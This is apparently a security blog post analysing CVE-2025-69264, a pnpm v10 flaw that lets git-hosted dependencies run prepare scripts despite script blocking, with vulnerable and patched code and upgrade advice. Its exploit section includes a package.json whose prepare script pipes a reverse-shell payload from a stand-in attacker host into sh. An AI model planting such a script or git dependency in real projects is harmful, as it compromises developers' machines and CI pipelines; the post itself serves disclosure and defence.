CVE-2025-69264

Git-R-Done: Bypassing pnpm's Lifecycle Script Protection via Git Dependencies

Alon Barad
Alon Barad
Software Engineer

Jan 8, 2026·6 min read

Executive Summary (TL;DR)

pnpm v10 blocks `postinstall` scripts by default to prevent malware. However, it forgot to police git-hosted dependencies (e.g., `git+https://...`). Attackers can put RCE payloads in `prepare` scripts within a git repo, and pnpm will execute them during the download phase—completely ignoring the security settings. Patch to v10.26.0 immediately.

A logic flaw in pnpm v10 allows attackers to execute arbitrary code by hiding malicious scripts inside git-hosted dependencies. While pnpm v10 boasts a 'secure by default' posture that disables lifecycle scripts, this mechanism failed to account for the 'fetch phase' of git dependencies, effectively bypassing the security sandbox.

The Promise: A False Sense of Security

When pnpm v10 dropped, it came with a killer feature for the paranoid security engineer: Dependency lifecycle scripts were disabled by default. In the NodeJS ecosystem, postinstall scripts are the standard vector for supply chain attacks. By switching the default behavior to block these scripts (unless explicitly allowlisted in onlyBuiltDependencies), pnpm effectively put a padlock on the front door.

Developers relaxed. CI/CD pipelines felt safer. We thought we had finally moved past the era where npm install was Russian Roulette. But as any breaker knows, when you lock the front door, you check the windows. And in pnpm's case, they left the bay window wide open.

The vulnerability, tracked as CVE-2025-69264, isn't a complex buffer overflow or a cryptographic failure. It's a classic architectural oversight. The developers secured the Build Phase but completely forgot to apply those same rules to the Fetch Phase of git-hosted dependencies.

The Flaw: The Tale of Two Phases

To understand this bug, you have to understand how a package manager thinks. When you install a standard package from the registry (npm), it downloads a tarball, extracts it, and then—if allowed—runs build scripts. This is the Build Phase, and this is where pnpm v10's security logic lives.

However, Git-hosted dependencies are different beasts. If you depend on git+https://github.com/foo/bar.git, pnpm can't just download it and use it. It usually needs to clone the repo and transform the source code into a usable package (e.g., compiling TypeScript, building binaries). This happens during the Fetch Phase, specifically inside a routine called preparePackage.

Here lies the rub: The preparePackage routine runs lifecycle scripts like prepare, prepublish, and prepack to get the git repo ready. The vulnerability is simply that this routine never bothered to check the onlyBuiltDependencies allowlist. It assumed that if you were fetching a git repo, you wanted to run its build scripts, effectively bypassing the global security policy.

The Code: The Smoking Gun

Let's look at the crime scene. The code responsible for handling git dependencies is located in @pnpm/prepare-package. In the vulnerable versions, the logic was aggressively permissive. Not only did it ignore the allowlist, it went out of its way to ensure scripts would run.

Here is a snippet from the vulnerable preparePackage function. Note the explicit removal of ignore-scripts from the configuration:

// exec/prepare-package/src/index.ts (Vulnerable)
export async function preparePackage (opts: PreparePackageOptions, ...) {
  // ... checks ignored ...
 
  const execOpts: RunLifecycleHookOptions = {
    // ...
    // CRITICAL FLAW: Explicitly removing the safety switch
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),
  }
 
  // Scripts run here without checking 'onlyBuiltDependencies'
  await runLifecycleHook(installScriptName, manifest, execOpts)
  for (const scriptName of PREPUBLISH_SCRIPTS) {
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The fix, implemented in version 10.26.0, involves plumbing the security policy down into this function. The patch introduces a check using shouldBuildPackage before executing any hooks:

// The Fix (simplified)
if (shouldBuildPackage(manifest.name, opts.allowBuild) === false) {
  throw new PnpmError('GIT_DEP_PREPARE_NOT_ALLOWED', 
    `Preparation of git-hosted dependency "${manifest.name}" is not allowed.`)
}

They essentially had to teach the fetcher that it, too, is responsible for enforcement.

The Exploit: Weaponizing git+https

Exploiting this is trivially easy and highly effective because it works even if the victim has strict settings in pnpm-workspace.yaml. An attacker doesn't need to compromise the npm registry; they just need to get a git+ URL into your dependency tree.

Step 1: The Malicious Repo The attacker creates a git repository containing a package.json with a prepare script. This script runs automatically when the repo is fetched.

{
  "name": "innocent-helper",
  "version": "1.0.0",
  "scripts": {
    "prepare": "node -e \"require('child_process').execSync('curl http://attacker.com/revshell | sh')\""
  }
}

Step 2: The Vector The attacker convinces a developer to add this dependency, or compromises an existing dependency to add this as a sub-dependency:

"dependencies": {
  "innocent-helper": "git+https://github.com/attacker/innocent-helper.git"
}

Step 3: Execution The victim runs pnpm install. pnpm sees the git dependency, clones it to a temporary directory, and immediately executes the prepare script to "build" the package. The payload detonates before the installation even completes, and certainly before any "lifecycle scripts disabled" warning appears.

The Impact: Transitive Nightmares

The most terrifying aspect of this vulnerability is the transitive nature of the attack. You might audit your direct dependencies meticulously. You might ensure none of them are git-hosted. But if any package in your dependency tree—five layers deep—decides to pull in a git dependency, you are vulnerable.

Supply chain attackers often compromise abandoned or popular low-level libraries. If an attacker injects a git dependency into a library like left-pad-reborn, and you update your lockfile, the pnpm install process will fetch that git repo and execute the code.

Because this happens in the fetch phase, it creates a blind spot. Security tools scanning for postinstall scripts in registry tarballs will miss this entirely, as the malicious code lives in a separate git repository and the trigger is merely a URL in a manifest.

The Fix: Hardening the Supply Chain

The immediate fix is to upgrade to pnpm v10.26.0. This version correctly enforces the onlyBuiltDependencies allowlist for git dependencies. If a git dependency tries to run a script and isn't on the list, pnpm will now throw an error and abort.

However, pnpm didn't stop there. Recognizing that pulling dependencies from random git repositories is inherently risky, they introduced a new setting in v10.26.0: blockExoticSubdeps.

By adding block-exotic-subdeps=true to your .npmrc, you prevent your dependencies from defining their own "exotic" dependencies (like git URLs or local file paths). This forces all transitive dependencies to come from the strict, immutable registry, effectively killing this entire class of supply chain attacks. I highly recommend enabling this setting immediately.

Fix Analysis (2)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.19%
Top 59% most exploited

Affected Systems

pnpm 10.0.0 through 10.25.0NodeJS projects using git-hosted dependenciesCI/CD pipelines using pnpm v10

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
>= 10.0.0 < 10.26.010.26.0
AttributeDetail
CWE IDCWE-284 (Improper Access Control)
Attack VectorNetwork (AV:N)
CVSS8.8 (High)
PrivilegesNone (PR:N)
User InteractionRequired (UI:R - victim runs install)
Exploit StatusPoC Available
Affected Component@pnpm/prepare-package
CWE-284
Improper Access Control

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Vulnerability Timeline

Fixes committed to main branch
2025-02-18
pnpm v10.26.0 released
2025-02-19
GHSA Advisory Published
2025-02-21

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.